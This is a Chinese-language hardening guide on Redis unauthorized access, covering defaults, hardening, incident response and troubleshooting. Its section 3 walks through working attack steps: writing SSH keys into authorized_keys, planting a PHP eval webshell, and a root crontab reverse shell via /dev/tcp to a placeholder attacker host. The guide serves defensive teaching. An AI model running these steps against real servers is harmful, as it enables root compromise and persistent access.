1. 项目概述当Redis门户大开时我们面临什么最近在排查一批线上服务器的安全基线时我又一次撞见了那个熟悉又令人头疼的身影——Redis未授权访问。这绝不是个新漏洞但它的“生命力”顽强得惊人几乎每隔一段时间就能在内部扫描或外部渗透测试报告中看到它。简单来说这就是因为Redis服务在安装后默认没有开启任何身份验证requirepass并且默认监听所有网络接口bind 0.0.0.0导致任何能通过网络连接到该Redis端口默认6379的人都可以直接执行命令就像进了自己家后院一样。这带来的风险远不止“数据被看光”那么简单。攻击者可以利用Redis内置的命令轻松实现从信息窃取到服务器完全沦陷的跨越。我见过最典型的案例是攻击者通过未授权访问写入一个SSH公钥到目标服务器的/root/.ssh/authorized_keys文件从而直接获取root权限的shell。整个过程可能只需要几分钟而修复它带来的后果却需要数倍的时间。因此无论你是运维工程师、开发人员还是安全负责人彻底理解这个漏洞的利用原理并掌握一套行之有效的防护组合拳都是一项必备的生存技能。这篇指南我就结合多次应急响应和加固的经验从攻击者视角拆解利用手法再从防御者角度给出从基础到进阶的完整防护方案目标是让你管理的Redis服务真正地“固若金汤”。2. 漏洞原理深度剖析为什么Redis默认如此“开放”要有效防护必须先透彻理解漏洞的根源。Redis的设计哲学在早期更侧重于性能和易用性这在某种程度上牺牲了默认的安全性。2.1 默认配置的“原罪”当你通过apt-get install redis-server或下载源码包编译安装后查看默认的redis.conf配置文件会发现两个关键设置bind 127.0.0.1被注释或设置为bind 0.0.0.0这意味着Redis服务会监听服务器上所有网络接口的6379端口。如果服务器有公网IP那么这个端口就直接暴露在互联网上。很多开发者在测试时为了方便会直接修改为0.0.0.0上线后却忘了改回来。requirepass foobared被注释这一行是设置访问密码的默认的示例密码foobared本身是弱密码且整行被注释掉意味着根本不需要任何密码就可以连接并执行所有命令。这种“开箱即用”的配置在开发测试环境或许方便但一旦部署到具有公网访问能力的服务器上就是一场灾难的序幕。攻击者无需任何用户名和密码使用一个简单的redis-cli -h 目标IP就能长驱直入。2.2 攻击面延伸不止于数据泄露很多人认为这个漏洞只是导致缓存数据泄露风险可控。这种想法非常危险。Redis提供了丰富的命令攻击者可以借此进行多种恶意操作信息泄露使用INFO命令可以获取Redis服务的详细配置、服务器信息、内存使用情况等为后续攻击提供情报。数据清空或篡改使用FLUSHALL可以清空所有数据库造成业务中断。关键操作CONFIG SET命令可以动态修改Redis配置这常被用作进一步攻击的跳板。而最具破坏性的利用方式是结合Redis的数据持久化机制向服务器文件系统写入恶意文件从而获得远程命令执行RCE的能力。这才是未授权访问漏洞被定为“高危”的核心原因。注意即使你将Redis绑定到127.0.0.1也不意味着绝对安全。如果服务器上存在其他Web应用漏洞如SSRF攻击者仍可能以应用服务器为跳板访问本地的Redis服务完成攻击链。3. 漏洞利用实战演示攻击者会怎么做了解攻击者的手法才能更好地进行防御。下面我模拟一个攻击场景假设目标IP为10.0.0.5Redis运行在默认的6379端口且未授权访问。3.1 信息收集与初步探测首先攻击者会进行最基本的连接和信息探测。# 使用redis-cli直接连接 redis-cli -h 10.0.0.5 # 连接成功后提示符会变成 10.0.0.5:6379此时可以执行任意命令 # 获取服务器和Redis的详细信息 INFO # 查看所有键 KEYS * # 尝试切换数据库默认16个编号0-15 SELECT 1通过INFO命令的输出攻击者可以知道Redis版本、操作系统内核、运行模式、数据目录dir和持久化文件名dbfilename默认dump.rdb等关键信息。这些是后续写入文件攻击的基础。3.2 写入SSH公钥获取服务器权限这是最经典、最直接的利用方式前提是目标服务器以root权限运行Redis并且/root/.ssh目录存在或可创建。在攻击机生成SSH密钥对如果还没有的话ssh-keygen -t rsa # 默认会生成 id_rsa私钥和 id_rsa.pub公钥将公钥内容格式化需要在公钥内容前后添加空行以确保作为Redis的值写入时格式正确。(echo -e \n\n; cat ~/.ssh/id_rsa.pub; echo -e \n\n) pubkey.txt通过未授权Redis写入公钥文件# 连接目标Redis redis-cli -h 10.0.0.5 flushall # 清空数据可选为了操作干净 cat pubkey.txt | redis-cli -h 10.0.0.5 -x set crack_key # 这条命令将pubkey.txt的内容作为值设置到键名为crack_key的键中 # 配置Redis的数据持久化路径为/root/.ssh redis-cli -h 10.0.0.5 config set dir /root/.ssh # 配置持久化文件名为authorized_keys redis-cli -h 10.0.0.5 config set dbfilename authorized_keys # 执行保存操作将内存数据包含我们的公钥写入到/root/.ssh/authorized_keys文件 redis-cli -h 10.0.0.5 save利用私钥登录服务器ssh -i ~/.ssh/id_rsa root10.0.0.5如果成功攻击者就获得了服务器的root权限。3.3 写入WebShell或Crontab定时任务如果目标服务器是Web服务器攻击者可能会尝试写入WebShell。写入WebShell# 假设已知Web根目录为 /var/www/html redis-cli -h 10.0.0.5 config set dir /var/www/html redis-cli -h 10.0.0.5 config set dbfilename shell.php redis-cli -h 10.0.0.5 set webshell ?php eval($_POST[cmd]);? redis-cli -h 10.0.0.5 save然后访问http://10.0.0.5/shell.php即可用蚁剑等工具连接。写入Crontab定时任务这种方法更隐蔽用于反弹Shell或持久化控制。# 先获取当前crontab内容如果有的话避免覆盖 redis-cli -h 10.0.0.5 config set dir /var/spool/cron/ redis-cli -h 10.0.0.5 config set dbfilename root # 写入一个每分钟向攻击机反弹shell的任务 redis-cli -h 10.0.0.5 set cron \n* * * * * bash -i /dev/tcp/攻击机IP/端口 01\n redis-cli -h 10.0.0.5 save实操心得在实际渗透测试中写入文件的成功率受限于Redis进程的运行权限是否root、目标目录是否存在且可写。因此INFO命令获取的dir信息至关重要。攻击者往往会先尝试写入/tmp这类通用可写目录再尝试提权或移动文件。4. 多层次防护实战指南从边界到内核单一的防护措施很容易被绕过我们需要构建一个纵深防御体系。下面从外到内层层加固。4.1 第一道防线网络访问控制这是最有效、最直接的防护手段原则是“最小化暴露”。修改绑定IPbind绝对不要让Redis监听在0.0.0.0。仅本地访问如果只有本机应用需要连接修改redis.confbind 127.0.0.1内网访问如果需要在服务器集群内通信绑定到内网IPbind 172.16.1.100 127.0.0.1 # 可以绑定多个IP修改后必须重启Redis服务systemctl restart redis或service redis-server restart。配置防火墙规则即使配置了bind也应用防火墙做二次确认。使用iptables传统# 只允许特定IP段如172.16.1.0/24访问6379端口 iptables -A INPUT -s 172.16.1.0/24 -p tcp --dport 6379 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP # 保存规则取决于系统 iptables-save /etc/iptables/rules.v4使用firewalldCentOS/RHEL 7firewall-cmd --permanent --add-rich-rulerule familyipv4 source address172.16.1.0/24 port protocoltcp port6379 accept firewall-cmd --permanent --remove-port6379/tcp # 移除默认的端口开放如果有 firewall-cmd --reload利用云平台安全组如果你使用的是阿里云、腾讯云等云服务器务必在安全组规则中设置仅允许特定的源IP如你的办公网络IP、跳板机IP、应用服务器IP访问6379端口。千万不要设置“0.0.0.0/0”。4.2 第二道防线身份验证与强密码当网络层控制失效如内部人员恶意连接、通过其他漏洞跳转时密码认证是关键屏障。启用并设置复杂密码编辑redis.conf找到requirepass行。# 取消注释并将‘foobared’改为一个强密码 requirepass YourSuperStrongPassw0rd!#2023密码强度建议长度大于16位混合大小写字母、数字和特殊符号。避免使用常见词汇、日期或与业务相关的简单信息。重启服务生效。连接时使用密码# 方式一连接时通过-a参数指定密码会出现在进程列表不安全 redis-cli -h 10.0.0.5 -a YourSuperStrongPassw0rd!#2023 # 方式二先连接再使用AUTH命令认证更安全 redis-cli -h 10.0.0.5 10.0.0.5:6379 AUTH YourSuperStrongPassw0rd!#2023为不同客户端设置不同权限Redis 6.0Redis 6.0引入了ACL访问控制列表可以实现更细粒度的控制。# 在redis.conf中配置或连接后使用ACL SETUSER命令 # 创建一个仅对‘appdb’数据库有读写权限的用户‘appuser’ ACL SETUSER appuser on appuser_password ~appdb:* all -dangerous # 创建一个只有读权限的监控用户‘monitoruser’ ACL SETUSER monitoruser on monitor_password ~* read -admin ping info注意-dangerous移除了如FLUSHALL、CONFIG、DEBUG等危险命令的执行权限极大地提升了安全性。4.3 第三道防线服务运行与配置加固以非root用户运行Redis这是防止攻击者通过Redis直接写入/root/.ssh等关键目录的最有效方法。在redis.conf中配置user redis # 使用专门的redis用户和用户组确保数据目录/var/lib/redis等的属主和权限正确chown -R redis:redis /var/lib/redis chmod 700 /var/lib/redis重命名或禁用危险命令即使有密码也应防范密码泄露后的风险。可以禁用或重命名高危命令。# 在redis.conf中添加 rename-command FLUSHALL rename-command CONFIG rename-command EVAL rename-command DEBUG # 或者重命名为一个复杂的、只有管理员知道的字符串 rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52警告重命名命令后你的运维工具和脚本也需要使用新命令名请务必做好记录和测试。启用保护模式Redis的protected-mode是一个重要的安全网。当Redis未设置密码且绑定IP不是127.0.0.1时保护模式会拒绝外部连接。确保其开启protected-mode yes4.4 第四道防线加密通信与监控审计启用TLS加密Redis 6.0防止通信被窃听。需要在redis.conf中配置证书和密钥文件。port 0 # 禁用普通端口 tls-port 6379 tls-cert-file /path/to/redis.crt tls-key-file /path/to/redis.key tls-ca-cert-file /path/to/ca.crt # 如果需要客户端证书验证客户端连接时需要使用redis-cli --tls等参数。启用日志记录与监控在redis.conf中设置loglevel notice或warning并指定logfile路径。使用slowlog记录慢查询有时异常命令如尝试写入文件会出现在慢日志中。对接监控系统如Prometheus Grafana监控Redis的连接数、命令执行频率异常如短时间内大量CONFIG、SET命令。定期安全扫描与配置检查使用redis-cli --intrinsic-latency等工具进行基准测试同时检查配置。定期使用Nessus、OpenVAS或商业漏洞扫描器对服务器端口进行扫描确保6379端口没有意外暴露。编写脚本定期检查redis.conf文件的bind、requirepass、protected-mode等关键配置项是否被篡改。5. 应急响应与漏洞排查当警报响起时即使防护再完善也需要有应急预案。假设监控告警显示有异常IP尝试连接Redis端口或者发现服务器上存在可疑的authorized_keys文件你应该怎么做5.1 立即隔离与遏制切断网络访问最快的方式是修改服务器防火墙或云安全组立即封禁可疑源IP甚至临时关闭6379端口的对外访问。iptables -A INPUT -s 可疑IP -j DROP停止Redis服务如果怀疑已入侵立即停止服务以防进一步破坏。systemctl stop redis备份现场数据在停止服务前如果业务允许可以考虑将内存数据持久化到新的文件并备份当前的dump.rdb和appendonly.aof文件以供后续取证分析。但要注意这可能覆盖攻击痕迹。5.2 入侵排查与取证检查Redis历史命令如果开启了redis-rdb-tools或类似工具的监控可以分析历史命令。也可以查看redis.conf中是否配置了rename-command检查是否有异常的重命名命令被执行。检查服务器文件重点检查/root/.ssh/authorized_keys/var/spool/cron/目录下的用户cron文件Web目录下的可疑.php、.jsp文件。检查文件时间使用ls -la查看可疑文件的创建/修改时间与Redis日志中的异常连接时间进行对比。检查进程与网络连接使用netstat -antp | grep 6379查看当前及近期的Redis连接情况。使用ps aux | grep redis查看Redis进程的运行用户。分析Redis数据文件使用redis-rdb-tools解析dump.rdb文件查看是否存在异常的键值对特别是含有ssh-rsa、?php、crontab等内容的键。rdb --command json dump.rdb dump.json cat dump.json | grep -E (ssh-rsa|eval|bash -i)5.3 漏洞修复与恢复根据前述防护指南重新加固Redis配置修改bind。设置强requirepass或配置ACL。以非root用户启动。重命名危险命令。清除后门删除攻击者添加的SSH公钥、WebShell、Crontab任务等。重启服务并验证使用加固后的配置重启Redis服务并尝试从非授权IP、无密码等方式连接验证防护是否生效。全面扫描对服务器进行全面的漏洞扫描和木马查杀确保没有其他遗留后门。6. 常见配置误区与疑难问题排查在实际运维中即使按照指南操作也可能遇到各种“坑”。这里记录几个我踩过或常见的问题。6.1 配置改了为什么漏洞还在问题现象修改了redis.conf并重启了服务但扫描器依然报告存在未授权访问漏洞。可能原因1配置文件未生效。检查Redis进程实际加载的配置文件路径。ps aux | grep redis # 查看命令行列出的配置文件路径如 redis-server /etc/redis/redis.conf # 确认你修改的文件就是这个路径下的文件。可能原因2存在多个Redis实例。服务器上可能通过不同端口如6379, 6380运行了多个实例而你只修改了一个实例的配置。使用netstat -tlnp | grep redis或ss -tlnp | grep 6379查看所有监听端口。可能原因3重启服务失败。使用systemctl status redis查看服务状态确认是否是active (running)。检查日志journalctl -u redis或Redis的logfile看是否有配置错误导致启动失败例如密码格式有特殊字符未转义。可能原因4配置项拼写错误或位置不对。确保requirepass、bind等指令没有写错且没有被后面的配置覆盖。6.2 设置了密码但应用连不上了问题现象给Redis加了密码后业务应用开始报连接超时或认证失败。排查步骤检查应用配置确认应用连接Redis的配置文件如Spring Boot的application.yml PHP的config.php中的密码字段已更新为新的强密码。检查密码特殊字符如果密码包含!、、#、$等特殊字符在URL或命令行中可能需要转义。在配置文件中用引号包裹密码通常是最安全的。使用redis-cli手动测试redis-cli -h redis_ip -a ‘YourPasswordWithSpecialChars!‘ # 或者 redis-cli -h redis_ip auth YourPasswordWithSpecialChars!确认密码本身可以连通。查看Redis日志连接失败时Redis日志中可能会有AUTH failed之类的记录可以帮助定位是哪个IP的应用在尝试错误密码。6.3 绑定到127.0.0.1后其他服务器无法访问问题现象为了安全将bind改为了127.0.0.1但其他需要调用Redis的应用服务器无法连接了。解决方案这是预期行为。bind 127.0.0.1意味着只接受本机连接。如果其他服务器需要访问你有几个选择改为绑定内网IPbind 172.16.1.100服务器的内网IP。这是最常用的方式。通过SSH隧道或代理让应用服务器通过本机代理访问避免Redis直接暴露在内网。复杂度较高。使用Redis哨兵或集群模式在架构层面让应用连接本地的Redis代理或哨兵由它们去连接真正的Redis主节点。这更适用于大型生产环境。核心原则在满足业务需求的前提下尽可能缩小Redis的监听范围。6.4 防护配置检查清单为了便于自查你可以定期运行以下命令或编写脚本检查关键配置检查项安全配置示例/命令风险配置示例绑定地址bind 172.16.1.100 127.0.0.1bind 0.0.0.0或# bind 127.0.0.1注释访问密码requirepass 强密码# requirepass foobared注释或弱密码保护模式protected-mode yesprotected-mode no运行用户user redis在systemd服务文件中以root用户运行危险命令rename-command CONFIG “”未重命名或禁用CONFIG,FLUSHALL等网络访问防火墙/安全组仅允许特定IP访问6379端口对0.0.0.0/0开放Redis未授权访问漏洞的防护本质上是一场关于“默认安全”意识的较量。它提醒我们任何面向网络的服务在部署上线前都必须经过严格的安全配置审查。没有“银弹”最有效的方法永远是多层防御网络层隔离、强身份认证、最小权限运行和持续的安全监控。把这个流程作为服务器上线清单的必选项才能从根本上避免让承载核心数据的Redis成为整个系统中最脆弱的那一环。